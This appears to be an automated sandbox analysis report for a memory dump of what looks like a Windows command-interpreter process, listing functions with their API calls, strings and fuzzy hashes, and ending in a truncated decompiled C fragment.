0x00889f57
0x00889f69
0x00889f6e
0x00889f73
0x00889f75
0x00889f75
0x00889f7b
0x00889f8c
0x00000000
0x00889f8e
0x00889f8e
0x00889f9a
0x00889fa0
0x00889fa4
0x00889fa6
0x00889fa6
0x00889fab
0x00889fad
0x00889fb3
0x00000000
0x00889fb3
0x00889f8c
0x00889e7f
0x00889e83
0x00889e87
0x00000000
0x00000000
0x00889e89
0x00889e8c
0x00889e92
0x00000000
0x00000000
0x00000000
0x00889e92
0x00889e98
0x00889e9a
0x00000000
0x00889e9a
0x00889e41
0x00889e45
0x00889e49
0x00000000
0x00000000
0x00889e4b
0x00889e4e
0x00889e54
0x00000000
0x00000000
0x00000000
0x00889e54
0x00889e5a
0x00889e5c
0x00000000
0x00889fc0
0x00889fd3
0x00889fd5
0x00000000
0x00889dfe
0x00889e06
0x00889e08
0x00889e11
0x00000000
0x00889e20
0x00889e20
0x0088a019
0x0088a019
0x0088a01a
0x0088a020
0x00000000
0x0088a022
0x00889e11
0x00889dfc
0x0087b925
0x0087b927
0x00000000

APIs

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FE7,00000000), ref: 0087B90E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4d7ea1be19ed9adb423f616d9f7c998bfb7962591a7cdcf75b16c4f5eb126916
Instruction ID: f6e8e0c4145b86840fc2f852384b25caf4fae8b8902989102c16e5aba5d6c578
Opcode Fuzzy Hash: 4d7ea1be19ed9adb423f616d9f7c998bfb7962591a7cdcf75b16c4f5eb126916
Instruction Fuzzy Hash: A19100729001168BCB28FF68CC456FAB7B5FF54314F1885ADEA8AD7254EB319E81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 008796A0, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 237timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,0089F830,?,00002000), ref: 008796CC
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 008796E0
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 008796F4
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00879708
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00001003,?,00000080), ref: 00890B1B
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000002,?,?,?,00000020), ref: 00890C43

Strings

%02d%s%02d%s, xrefs: 00890C98
%2d%s%02d%s%02d%s%02d, xrefs: 00879750
HH:mm:ss t, xrefs: 00890B2B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Time$File$System$FormatInfoLocalLocale
String ID: %02d%s%02d%s$%2d%s%02d%s%02d%s%02d$HH:mm:ss t
API String ID: 55602301-2516506544
Opcode ID: 7be47ca883705d088b2172ecba86ed302e2ef0c667b15d0f0f5a437643ed0513
Instruction ID: a6ec584182f9e21338fd8956ccbb396c28e42092ae5173d4c9ba70f8bea2211b
Opcode Fuzzy Hash: 7be47ca883705d088b2172ecba86ed302e2ef0c667b15d0f0f5a437643ed0513
Instruction Fuzzy Hash: A281A675A002199ECF28AF54CC55BFA73B8FF54704F0842AAE94AE7250E7349E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00893CC7, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 245timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00893DED
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00000002,002E003A), ref: 00893F21
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,002E003A,?,002E003A), ref: 00893F4E
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,002E003A), ref: 00893F5B
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,002E003A), ref: 00893F65
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,002E003A), ref: 00893FC2

Strings

/-., xrefs: 00893CEA
%s, xrefs: 00893E6B
:, xrefs: 00893D48

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: LocalTime$ErrorLast$_get_osfhandle
String ID: %s$/-.$:
API String ID: 1033501010-879152773
Opcode ID: 5aa105bf0e4647aa67f1f8967ba078e9ec73e0978aa573902205373aa6a096e2
Instruction ID: 0005ef6e171c0e79f92d30d9df412fdf709bfc90491faff4b69a0df5ce95e8a9
Opcode Fuzzy Hash: 5aa105bf0e4647aa67f1f8967ba078e9ec73e0978aa573902205373aa6a096e2
Instruction Fuzzy Hash: FF810031A0021997DF24BB68CC5ABEE33A5FF80304F184169E906EBA94EB759F49C751

Uniqueness

Uniqueness Score: -1.00%

Function 0087D803, Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0087D814
_wcsicmp.MSVCRT ref: 0087D861
_wcsicmp.MSVCRT ref: 0087D8C0

Strings

IF/?, xrefs: 0087D80D
ELSE, xrefs: 0087D8BB

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp
String ID: ELSE$IF/?
API String ID: 2081463915-1134991328
Opcode ID: 55b480c37dcbe9f52573089780ca06986ab2f2bc5766b6d9ef8854ed1d131c63
Instruction ID: 58332d87d6c8788b33efa1f31c2c3c9e7bf13a490b310ee805e7cdbeffc908c0
Opcode Fuzzy Hash: 55b480c37dcbe9f52573089780ca06986ab2f2bc5766b6d9ef8854ed1d131c63
Instruction Fuzzy Hash: 8561E2312007119BEB24AB79DC5572AB7B1FF84364B24892AE50EDB6AAEF71DC40C741

Uniqueness

Uniqueness Score: -1.00%

Function 008868BA, Relevance: 15.1, APIs: 10, Instructions: 114memoryfileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000037,00000000,00000000,00000002,00000000,?,00000000,00886A00,00886A00,?,0087AE4F,00000037,00000000,?), ref: 008868E6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,0087AE4F,00000037,00000000,?,?), ref: 0088696A
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000014,?,0087AE4F,00000037,00000000,?,?), ref: 0088697B
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087AE4F,00000037,00000000,?,?), ref: 00886982
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,0087AE4F,00000037,00000000,?,?), ref: 008869B7
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087AE4F,00000037,00000000,?,?), ref: 008869BE
FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000037,?,0087AE4F,00000037,00000000,?,?), ref: 008869DA
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(0087AE4F,?,0087AE4F,00000037,00000000,?,?), ref: 008869ED

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Find$AllocFileProcess$CloseErrorFirstLastNext
String ID:
API String ID: 1047556133-0
Opcode ID: 95e7ade88c3e2ba254371217ba895a86a8bac0a3c92775f8025eb3d7afb1917a
Instruction ID: d99a1ea0f5fadbc3f878887a19d7dca807a72522e643dc74f778cc6d14ce8528
Opcode Fuzzy Hash: 95e7ade88c3e2ba254371217ba895a86a8bac0a3c92775f8025eb3d7afb1917a
Instruction Fuzzy Hash: 8141C230600206EFCB14AF68DC59B697FB5FB49325F244729EA92D72E0EB319921DB50

Uniqueness

Uniqueness Score: -1.00%

Function 008783F2, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82filenativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL ref: 0087841B
NtOpenFile.NTDLL ref: 0087846D
RtlReleaseRelativeName.NTDLL ref: 00878479
RtlFreeUnicodeString.NTDLL(?), ref: 00878483

Part of subcall function 008784BE: NtQueryVolumeInformationFile.NTDLL ref: 008784EA

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(000000FF), ref: 008784A7
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000001), ref: 0089036E
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00878393), ref: 0089037C

Strings

@, xrefs: 0087845C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: File$NamePathRelative$CloseDeleteErrorFreeHandleInformationLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
String ID: @
API String ID: 2968197161-2766056989
Opcode ID: bfe67e401787230073760509e2a976c1332bb92ad993222180c01f4c10711147
Instruction ID: f358167781a2222f815da38f39fef80ef7fac8eb584b135dbc27cab43713c8ba
Opcode Fuzzy Hash: bfe67e401787230073760509e2a976c1332bb92ad993222180c01f4c10711147
Instruction Fuzzy Hash: 2E219E71E00209EFCB10EFA5DC88AEEBBBCFB44724F104115EA15E3250EB709E019BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00896D90, Relevance: 13.6, APIs: 9, Instructions: 67filenativeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00896DB3
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00896DC5
fprintf.MSVCRT ref: 00896DEB
fflush.MSVCRT ref: 00896DF9
TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00896E12
NtCancelSynchronousIoFile.NTDLL(00000000,00000000), ref: 00896E28
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00896E2F
_get_osfhandle.MSVCRT ref: 00896E4C
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00896E54

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CriticalExclusiveLockSection$AcquireBufferCancelConsoleEnterFileFlushInputLeaveReleaseSynchronous_get_osfhandlefflushfprintf
String ID:
API String ID: 3139166086-0
Opcode ID: a96c83e050d0363a8fb68f28b5c1e3c60af9cc0170fd6b0d0306c3f45f058851
Instruction ID: 8bd8ad350e5885b0ee861fea912d857c650dfe560b412e468ca700749076fb4f
Opcode Fuzzy Hash: a96c83e050d0363a8fb68f28b5c1e3c60af9cc0170fd6b0d0306c3f45f058851
Instruction Fuzzy Hash: 07119071504200BFDF117B74EC4EB6E7BA8FB05722F28021AF656D12A1EB758856C752

Uniqueness

Uniqueness Score: -1.00%

Function 00885FC8, Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 372COMMON

Download Yara Rule

APIs

Part of subcall function 00883320: _wcsnicmp.MSVCRT ref: 008833A4

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

Part of subcall function 008862FA: _wcsnicmp.MSVCRT ref: 00886367
Part of subcall function 008862FA: _wcsnicmp.MSVCRT ref: 0088F6F6

memset.MSVCRT ref: 008860C8
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,-00000001,00000000,-00000001,00000104,00007EE3,00000001), ref: 0088620F
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00886247
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00886252
??_V@YAXPAX@Z.MSVCRT ref: 00886271

Strings

COPYCMD, xrefs: 00885FFF

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsnicmpwcschr$ErrorLast$AttributesFileiswspacememset
String ID: COPYCMD
API String ID: 1068965577-3727491224
Opcode ID: f3c464241e15d6c7db10e173cad9c1a0054b279b1b6fb09d25a898da9e6a2621
Instruction ID: 1251924881ab53b41927df4c9a1e3a0472418c07441e4da8a709572c6795e0d0
Opcode Fuzzy Hash: f3c464241e15d6c7db10e173cad9c1a0054b279b1b6fb09d25a898da9e6a2621
Instruction Fuzzy Hash: 86D1D535A001168BCB24FF68DC956BAB3B5FF58304F1445A9D906D7296FB34EE42CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00875E70, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00875EAA
swscanf.MSVCRT ref: 00875EED

Strings

:EOF, xrefs: 00875EBD

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 2b7fd385e51379a08d99a453038a09e0d9f4199bc03a1800bdf97632c71e068d
Instruction ID: a533fb51c7bbad27734ab150e5e6ebfc31cb7170e02d53442419f825c50f0e1e
Opcode Fuzzy Hash: 2b7fd385e51379a08d99a453038a09e0d9f4199bc03a1800bdf97632c71e068d
Instruction Fuzzy Hash: C3A1E731A042199BEB24EF68C885779B7E4FF04314F14802EE88AD72C9E775DD41D7A6

Uniqueness

Uniqueness Score: -1.00%

Function 008758A4, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135nativeCOMMON

Download Yara Rule

APIs

_setjmp3.MSVCRT ref: 008758E1

Part of subcall function 008836CB: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,?,0087590A,00000000), ref: 008836F0

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

NtQueryInformationProcess.NTDLL(000000FF,00000027,?,00000004,00000000), ref: 00875991
NtSetInformationProcess.NTDLL(000000FF,00000027,?,00000004), ref: 008759AF
NtSetInformationProcess.NTDLL(000000FF,00000027,?,00000004), ref: 00875A17
longjmp.MSVCRT(008AB8B8,00000001,00000000), ref: 0088981B

Strings

%9d, xrefs: 008759DB

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$Information$Heap$AllocCurrentDirectoryQuery_setjmp3longjmp
String ID: %9d
API String ID: 4212706909-2241623522
Opcode ID: a5c7acdffffa6feed40aa1f4203f0554f062e7885d94e5eb547d38d553371699
Instruction ID: bb5c7080e8781d7dad674ea4e5dfdda8842da77ff2049ffa19559b74148ac1e4
Opcode Fuzzy Hash: a5c7acdffffa6feed40aa1f4203f0554f062e7885d94e5eb547d38d553371699
Instruction Fuzzy Hash: 6A41C2B0A00714EFD710FF699C45A6ABBF8FB45714F18422AE654E72A1EBB08901CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00875226, Relevance: 9.5, APIs: 6, Instructions: 458COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0087528C

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000000,?,?,-00000105,?,00000000,?), ref: 00875394
??_V@YAXPAX@Z.MSVCRT ref: 008753D5

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$FullNamePath
String ID:
API String ID: 3158150540-0
Opcode ID: 28b02cb8e9ca6906491cdbcc746ef54920d6fd79fa80a9610f22df8a6504132d
Instruction ID: 52b7ec8a960bf24a39af26b0380dfb3e3b9bbd800ddc964e3c12e4b1c18eb543
Opcode Fuzzy Hash: 28b02cb8e9ca6906491cdbcc746ef54920d6fd79fa80a9610f22df8a6504132d
Instruction Fuzzy Hash: 6D02B435A005159BCB25EF68CC996BAB3B1FF88314F1981E9D849E7394D774AE82CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0088245C, Relevance: 9.2, APIs: 6, Instructions: 154fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000000,00000000), ref: 008824EC
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00882505
memcpy.MSVCRT ref: 00882566
_wcsnicmp.MSVCRT ref: 008825BC
_wcsicmp.MSVCRT ref: 0088D61E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst_wcsicmp_wcsnicmpmemcpy
String ID:
API String ID: 242869866-0
Opcode ID: e22bf358527a0fced5b7ffcc215e6866987962f0a552596cde95661d164e98d9
Instruction ID: 090cb15a01cddfa19ce7fddfee6a567876e616ef3f7c3dfb19c093289d421c6e
Opcode Fuzzy Hash: e22bf358527a0fced5b7ffcc215e6866987962f0a552596cde95661d164e98d9
Instruction Fuzzy Hash: 35519F756083118BCB24EF28DC545ABB7E5FFD8714F144A2EE99AC3280EB31D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0089A0D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0089A118

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,-00000105,?,?,?), ref: 0089A1B5
??_V@YAXPAX@Z.MSVCRT ref: 0089A225

Strings

%5lu, xrefs: 0089A1FE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$DiskFreeSpace
String ID: %5lu
API String ID: 2448137811-2100233843
Opcode ID: 6c7037df82eaeddda3ac91fa4703a14f95ff340d21be43ca3872e0d94bc59535
Instruction ID: 78bdb25be61a4031c11cfe09d5cf2b8aff401e188997b86fbddad9c3c9d63064
Opcode Fuzzy Hash: 6c7037df82eaeddda3ac91fa4703a14f95ff340d21be43ca3872e0d94bc59535
Instruction Fuzzy Hash: 8B418571A00219ABDF24FBA4DC85AEEB7B8FF08304F044199EA05E7251E7749E85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00886FE3, Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00887119,00871000), ref: 00886FEA
UnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00887119,?,00887119,00871000), ref: 00886FF3
GetCurrentProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(C0000409,?,00887119,00871000), ref: 00886FFE
TerminateProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000000,?,00887119,00871000), ref: 00887005

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 711360cbe1a1f8a40ea518f6894cca97b56773b27a14baeebdc28058c48b3e54
Instruction ID: 7fb09a38746fb39cdc405713c3c66282adea4eb093fafd08948d74ffc32008ed
Opcode Fuzzy Hash: 711360cbe1a1f8a40ea518f6894cca97b56773b27a14baeebdc28058c48b3e54
Instruction Fuzzy Hash: 91D0C932580114BBCB002BE1EC4DA8A3F68FB85312F054600F359C2061DA314412CB61

Uniqueness

Uniqueness Score: -1.00%

Function 008931DC, Relevance: 4.8, APIs: 3, Instructions: 274fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,0087250C,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00893362
FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000010), ref: 008934BF
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 008934D6

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 60371922a9bdb759826880d07045cf2ea02e10aaf7cda6a8f3c7593eef45881f
Instruction ID: 124aa7bda6a85115afba7163bd9772bd1297eb60c4ef06c6e058a5ad4e60ef51
Opcode Fuzzy Hash: 60371922a9bdb759826880d07045cf2ea02e10aaf7cda6a8f3c7593eef45881f
Instruction Fuzzy Hash: 9F91D1356042018BCB25FF28C84156BB3E2FFE8344B59892DE946C7354EB31DE46C796

Uniqueness

Uniqueness Score: -1.00%

Function 0087443C, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVersion.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,0089731D,?,?,?,?,?), ref: 00874442

Part of subcall function 00874476: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,02000000,?), ref: 0087449A
Part of subcall function 00874476: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,UBR,00000000,?,?,?), ref: 008744BE
Part of subcall function 00874476: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 008744C9

Strings

%d.%d.%05d.%d, xrefs: 00874463

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValueVersion
String ID: %d.%d.%05d.%d
API String ID: 2996790148-3457777122
Opcode ID: 31b3dfa4739614d6d3a64949288cdcca574043372bf6bfd2722d91bd4efce869
Instruction ID: 3e8cf7e644d0410787591c06b5ebc577a5e9cf37c034aef52ed9f4e60c3f9794
Opcode Fuzzy Hash: 31b3dfa4739614d6d3a64949288cdcca574043372bf6bfd2722d91bd4efce869
Instruction Fuzzy Hash: B7D02BB2B5112037D61435AE0C4AE7B518DD6C8211744812EFD05D33C6D9A89C1442B5

Uniqueness

Uniqueness Score: -1.00%

Function 00886C9A, Relevance: 3.0, APIs: 2, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00886CC0
RtlFreeHeap.NTDLL(00000000), ref: 00886CC7

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: aa28739ecceb4a27750803b6531520aae2b1dc023ccb8e3c0b438e8c80e1165c
Instruction ID: dd56a4d52902ca852a7577fd171a354a52c820d0f751942be47bbed1e9f8131e
Opcode Fuzzy Hash: aa28739ecceb4a27750803b6531520aae2b1dc023ccb8e3c0b438e8c80e1165c
Instruction Fuzzy Hash: 00F0A073900114A7CB206F8E99489DAF7AEFB84361B250159EAC8E3300AA71AC5587E0

Uniqueness

Uniqueness Score: -1.00%

Function 00892258, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

IsDebuggerPresent.API-MS-WIN-CORE-DEBUG-L1-1-0(?,00000006,?,00892418), ref: 0089228B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: DebuggerPresent
String ID:
API String ID: 1347740429-0
Opcode ID: 1f3b357cbb582da524913b10e9a1a8aa0b6bfccb7abcd89273a425858fe4dc76
Instruction ID: 5de2043ed837dc11e50392901fba78005328eb5ef0f0827d6b51a9dfdbcc41a2
Opcode Fuzzy Hash: 1f3b357cbb582da524913b10e9a1a8aa0b6bfccb7abcd89273a425858fe4dc76
Instruction Fuzzy Hash: 88F0273060552CBB8F10BFB5A901779BB9CFB55704F040289E806C7181CE249D069794

Uniqueness

Uniqueness Score: -1.00%

Function 00887310, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(Function_000172C0), ref: 00887315

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f0f72d59bb18aa1a2044cdc42679d1d1bc940bc05155eb106bf6b0ef82b22f66
Instruction ID: a2e6562a1718c7f35c5b1a39df84e7c8e35b6ee9d5de0d838f0af4d187c154fa
Opcode Fuzzy Hash: f0f72d59bb18aa1a2044cdc42679d1d1bc940bc05155eb106bf6b0ef82b22f66
Instruction Fuzzy Hash: 03900260355910868B1037715C4940566F0BAD97127524550F162C5195DB6481095621

Uniqueness

Uniqueness Score: -1.00%

Function 00883D27, Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 299
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00883D27(void* __ebx, intOrPtr* __ecx) {
				signed int _v8;
				char _v72;
				struct _CONSOLE_SCREEN_BUFFER_INFO _v96;
				void* _v100;
				intOrPtr* _v104;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t26;
